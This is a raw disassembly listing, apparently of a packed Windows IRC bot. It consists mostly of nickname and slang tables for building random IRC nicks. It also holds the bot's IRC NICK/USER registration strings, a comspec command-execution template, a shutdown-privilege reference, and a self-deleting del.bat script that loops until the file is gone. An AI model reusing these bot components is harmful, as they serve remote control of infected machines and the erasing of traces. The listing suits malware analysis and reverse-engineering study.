		dd offset dword_438E5C
		dd offset dword_438E58
		dd offset dword_438E54
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_438E50
		dd offset dword_438E4C
		dd offset dword_438E48
		dd offset aC_0		; "c"
		dd offset aV		; "v"
		dd offset dword_438E44
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438E40
		dd offset dword_438E3C
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset word_438E2C
		dd offset dword_438E28
		dd offset aI_0		; "I"
		dd offset dword_438E24
		dd offset dword_438E20
		dd offset aA_0		; "A"
		dd offset dword_438E1C
		dd offset dword_438E18
		dd offset dword_438E14
		dd offset dword_438E10
		dd offset dword_438E0C
		dd offset dword_438E08
		dd offset dword_438E04
		dd offset dword_438E00
		dd offset dword_438DFC
		dd offset dword_438DF8
		dd offset dword_438DF4
		dd offset dword_438DF0
		dd offset dword_438DEC
		dd offset word_438DE8
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438B80
		dd offset off_438B7C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_4389E8
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_4385B8	dd offset aSex		; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E44
		dd offset aC_0		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_438E5C
		dd offset dword_438E58
		dd offset dword_438E54
		dd offset aI		; "i"
		dd offset dword_42BBC4
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_438E50
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E64
		dd offset dword_438E48
		dd offset dword_438E60
		dd offset dword_438E4C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E4C
		dd offset dword_438E58
		dd offset aS_1		; "s"
		dd offset aQ		; "q"
		dd offset off_438808
		dd offset aBbl		; "|bbl"
		dd offset byte_43D7E8
		dd offset byte_43D7E8
		dd offset a___0		; "_|_"
		dd offset byte_43D7E8
		dd offset byte_43D7E8
		dd offset byte_43D7E8
		dd offset byte_43D7E8
		dd offset dword_438E14
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_3		; "^^^f^"
		dd offset dword_438E44
		dd offset byte_43D7E8
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43D7E8
		dd offset byte_43D7E8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43D7E8
		dd offset byte_43D7E8
		dd offset dword_438DF8
		dd offset byte_43D7E8
		dd offset aBoy		; "BOY"
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_43877C
		dd offset dword_438770
		dd offset dword_438768
		dd offset dword_438760
		dd offset dword_438758
		dd offset dword_438754
		dd offset dword_438750
dword_438750	dd 7536h		; DATA XREF: .packed:0043874Co
dword_438754	dd 7535h		; DATA XREF: .packed:00438748o
dword_438758	dd 7C75347Ch, 0		; DATA XREF: .packed:00438744o
dword_438760	dd 6F79347Bh, 7D75h	; DATA XREF: .packed:00438740o
dword_438768	dd 7375347Ch, 7Ch	; DATA XREF: .packed:0043873Co
dword_438770	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: .packed:00438738o
dword_43877C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: .packed:00438734o
dword_438784	dd 6C6F6Ch		; DATA XREF: .packed:00438730o
dword_438788	dd 746F74h		; DATA XREF: .packed:0043872Co
aMofo		db 'mofo',0             ; DATA XREF: .packed:00438728o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .packed:00438724o
		align 4
aMuha		db 'muha',0             ; DATA XREF: .packed:00438720o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: .packed:0043871Co
		align 4
aAha		db 'aha',0              ; DATA XREF: .packed:00438718o
aShit		db 'shit',0             ; DATA XREF: .packed:00438714o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: .packed:00438710o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: .packed:0043870Co
		align 4
aBoy		db 'BOY',0              ; DATA XREF: .packed:00438708o
aFree		db 'Free',0             ; DATA XREF: .packed:004386F4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: .packed:004386F0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: .packed:004386E4o
		align 4
aF_3		db '^^^f^',0            ; DATA XREF: .packed:004386D8o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: .packed:004386D4o
aLuvu		db 'LUVU',0             ; DATA XREF: .packed:004386D0o
		align 4
a___0		db '_|_',0              ; DATA XREF: .packed:004386B4o
aBbl		db '|bbl',0             ; DATA XREF: .packed:004386A8o
		align 4
off_438808	dd offset loc_425242	; DATA XREF: .packed:004386A4o
aMuckc		db 'muckc',0            ; DATA XREF: .packed:00438690o
		align 4
aTruck		db 'truck',0            ; DATA XREF: .packed:0043868Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: .packed:00438688o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: .packed:00438684o
		align 4
aUi		db 'ui',0               ; DATA XREF: .packed:00438680o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: .packed:0043867Co
aRt		db 'rt',0               ; DATA XREF: .packed:00438678o
		align 4
aGf		db 'gf',0               ; DATA XREF: .packed:00438674o
		align 4
aTy		db 'ty',0               ; DATA XREF: .packed:00438670o
		align 10h
aRg		db 'rg',0               ; DATA XREF: .packed:0043866Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: .packed:00438668o
		align 4
aRs		db 'rs',0               ; DATA XREF: .packed:00438648o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: .packed:00438600o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: .packed:004385FCo
		align 4
aSick		db 'sick}}',0           ; DATA XREF: .packed:004385F8o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: .packed:004385F4o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: .packed:004385F0o
		align 4
aGens		db '{gens|',0           ; DATA XREF: .packed:004385ECo
		align 10h
aSex_0		db '{sex}',0            ; DATA XREF: .packed:004385E8o
		align 4
aHub		db '{hub}',0            ; DATA XREF: .packed:004385E4o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: .packed:004385E0o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: .packed:004385DCo
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: .packed:004385D8o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: .packed:004385D4o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: .packed:004385D0o
aLag		db 'lag',0              ; DATA XREF: .packed:004385CCo
aBad		db 'bad',0              ; DATA XREF: .packed:004385C8o
aTree		db 'tree',0             ; DATA XREF: .packed:004385C4o
		align 4
aZex		db 'zex',0              ; DATA XREF: .packed:004385C0o
aLez		db 'lez',0              ; DATA XREF: .packed:004385BCo
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .packed:004385B4o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: .packed:004385B0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: .packed:004385ACo
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .packed:004385A8o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: .packed:004385A4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .packed:004385A0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .packed:0043859Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .packed:00438598o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: .packed:00438594o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: .packed:00438590o
aTropikal	db 'tropikal',0         ; DATA XREF: .packed:0043858Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .packed:00438588o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .packed:00438584o
		align 4
aUla		db 'ula',0              ; DATA XREF: .packed:00438580o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .packed:0043857Co
aAkden		db 'akden',0            ; DATA XREF: .packed:00438578o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: .packed:00438574o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: .packed:00438570o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: .packed:0043856Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .packed:00438568o
aM41ist		db 'M41IST',0           ; DATA XREF: .packed:00438564o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .packed:00438560o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .packed:0043855Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: .packed:00438558o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .packed:00438554o
		align 4
aDevre		db 'devre',0            ; DATA XREF: .packed:00438550o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .packed:0043854Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: .packed:00438548o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .packed:00438544o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: .packed:00438540o
		align 4
off_4389E8	dd offset byte_4B5245	; DATA XREF: .packed:0043853Co
aSevda		db 'sevda',0            ; DATA XREF: .packed:00438538o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .packed:00438534o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: .packed:00438530o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .packed:0043852Co
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: .packed:00438528o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .packed:00438524o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .packed:00438520o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .packed:0043851Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: .packed:00438518o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: .packed:00438514o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .packed:00438510o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .packed:0043850Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: .packed:00438508o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: .packed:00438504o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: .packed:00438500o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .packed:004384FCo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .packed:004384F8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .packed:004384F4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: .packed:004384F0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .packed:004384ECo
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: .packed:004384E8o
aHoly		db 'holy',0             ; DATA XREF: .packed:004384E4o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: .packed:004384E0o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: .packed:004384DCo
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .packed:004384D8o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .packed:004384D4o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: .packed:004384D0o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: .packed:004384CCo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .packed:004384C8o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .packed:004384C4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: .packed:004384C0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .packed:004384BCo
aArda		db 'arda',0             ; DATA XREF: .packed:004384B8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: .packed:004384B4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .packed:004384B0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: .packed:004384ACo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .packed:004384A8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .packed:004384A4o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: .packed:004384A0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .packed:0043849Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: .packed:00438498o
		align 4
off_438B7C	dd offset byte_457441	; DATA XREF: .packed:00438494o
dword_438B80	dd 414C5941h, 2Dh	; DATA XREF: .packed:00438490o
aAlbina		db 'albina',0           ; DATA XREF: .packed:0043848Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .packed:00438488o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: .packed:00438484o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .packed:00438480o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: .packed:0043847Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .packed:00438478o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .packed:00438474o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .packed:00438470o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .packed:0043846Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .packed:00438468o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .packed:00438464o
aAslii		db 'aslii',0            ; DATA XREF: .packed:00438460o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: .packed:0043845Co
aHaticem	db 'haticem',0          ; DATA XREF: .packed:00438458o
aArzu		db 'ARZU',0             ; DATA XREF: .packed:00438454o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: .packed:00438450o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .packed:0043844Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .packed:00438448o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: .packed:00438444o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .packed:00438440o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .packed:0043843Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: .packed:00438438o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .packed:00438434o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: .packed:00438430o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: .packed:0043842Co
aTolga34	db 'Tolga34',0          ; DATA XREF: .packed:00438428o
aMisssunday	db 'misssunday',0       ; DATA XREF: .packed:00438424o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: .packed:00438420o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .packed:0043841Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: .packed:00438418o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: .packed:00438414o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: .packed:00438410o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .packed:0043840Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .packed:00438408o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .packed:00438404o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .packed:00438400o
aReshma		db 'reshma',0           ; DATA XREF: .packed:004383FCo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .packed:004383F8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: .packed:004383F4o
		align 4
aImra		db 'imra',0             ; DATA XREF: .packed:004383F0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .packed:004383ECo
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: .packed:004383E8o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .packed:004383E4o
		align 4
aManee		db 'manee',0            ; DATA XREF: .packed:004383E0o
		align 4
aTroller	db 'troller',0          ; DATA XREF: .packed:004383DCo
aLuisa		db 'Luisa',0            ; DATA XREF: .packed:004383D8o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .packed:004383D4o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: .packed:004383D0o
		align 4
aJanno		db 'janno',0            ; DATA XREF: .packed:004383CCo
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: .packed:004383C8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: .packed:004383C4o
		align 10h
aCme		db 'cme',0              ; DATA XREF: .packed:004383C0o
aMarcy		db 'marcy',0            ; DATA XREF: .packed:004383BCo
		align 4
aTalika		db 'talika',0           ; DATA XREF: .packed:004383B8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: .packed:004383B4o
		align 4
aKen		db 'ken',0              ; DATA XREF: .packed:004383B0o
aFlexster	db 'flexster',0         ; DATA XREF: .packed:004383ACo
		align 4
aKoko		db 'koko',0             ; DATA XREF: .packed:004383A8o
		align 4
aMale		db 'male',0             ; DATA XREF: .packed:004383A4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: .packed:004383A0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .packed:0043839Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: .packed:00438398o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .packed:00438394o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .packed:00438390o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .packed:0043838Co
aFarooq		db 'farooq',0           ; DATA XREF: .packed:00438388o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .packed:00438384o
		align 4
aM_0:					; DATA XREF: .packed:00438380o
					; .packed:004386CCo
		unicode	0, <M>,0
word_438DE8	dw 4Eh			; DATA XREF: sub_419E79+38r
					; .packed:0043837Co
		align 4
dword_438DEC	dd 42h			; DATA XREF: .packed:00438378o
dword_438DF0	dd 56h			; DATA XREF: .packed:00438374o
dword_438DF4	dd 43h			; DATA XREF: .packed:00438370o
dword_438DF8	dd 58h			; DATA XREF: .packed:0043836Co
					; .packed:00438700o
dword_438DFC	dd 5Ah			; DATA XREF: .packed:00438368o
dword_438E00	dd 4Ch			; DATA XREF: .packed:00438364o
dword_438E04	dd 4Bh			; DATA XREF: .packed:00438360o
dword_438E08	dd 4Ah			; DATA XREF: .packed:0043835Co
dword_438E0C	dd 48h			; DATA XREF: .packed:00438358o
dword_438E10	dd 47h			; DATA XREF: .packed:00438354o
dword_438E14	dd 46h			; DATA XREF: .packed:00438350o
					; .packed:004386C8o
dword_438E18	dd 44h			; DATA XREF: .packed:0043834Co
dword_438E1C	dd 53h			; DATA XREF: .packed:00438348o
dword_438E20	dd 50h			; DATA XREF: .packed:00438340o
dword_438E24	dd 4Fh			; DATA XREF: .packed:0043833Co
dword_438E28	dd 55h			; DATA XREF: .packed:00438334o
word_438E2C	dw 59h			; DATA XREF: sub_41A19D+38r
					; .packed:00438330o
		align 10h
dword_438E30	dd 54h			; DATA XREF: .packed:0043832Co
dword_438E34	dd 52h			; DATA XREF: .packed:00438328o
dword_438E38	dd 45h			; DATA XREF: .packed:00438324o
dword_438E3C	dd 57h			; DATA XREF: .packed:00438320o
dword_438E40	dd 51h			; DATA XREF: .packed:0043831Co
dword_438E44	dd 62h			; DATA XREF: .packed:00438310o
					; .packed:00438604o ...
dword_438E48	dd 78h			; DATA XREF: .packed:00438304o
					; .packed:0043865Co
dword_438E4C	dd 7Ah			; DATA XREF: .packed:00438300o
					; .packed:00438664o ...
dword_438E50	dd 6Ch			; DATA XREF: .packed:004382FCo
					; .packed:00438630o
dword_438E54	dd 68h			; DATA XREF: .packed:004382F0o
					; .packed:0043861Co
dword_438E58	dd 67h			; DATA XREF: .packed:004382ECo
					; .packed:00438618o ...
dword_438E5C	dd 66h			; DATA XREF: .packed:004382E8o
					; .packed:00438614o
dword_438E60	dd 79h			; DATA XREF: .packed:004382CCo
					; .packed:00438660o
dword_438E64	dd 77h			; DATA XREF: .packed:004382BCo
					; .packed:00438658o
dword_438E68	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_438E74	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_438E78	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 10h
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 10h
unk_438FF0	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_439020	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439048	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h, 0
off_439068	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_43906C	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_439070	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
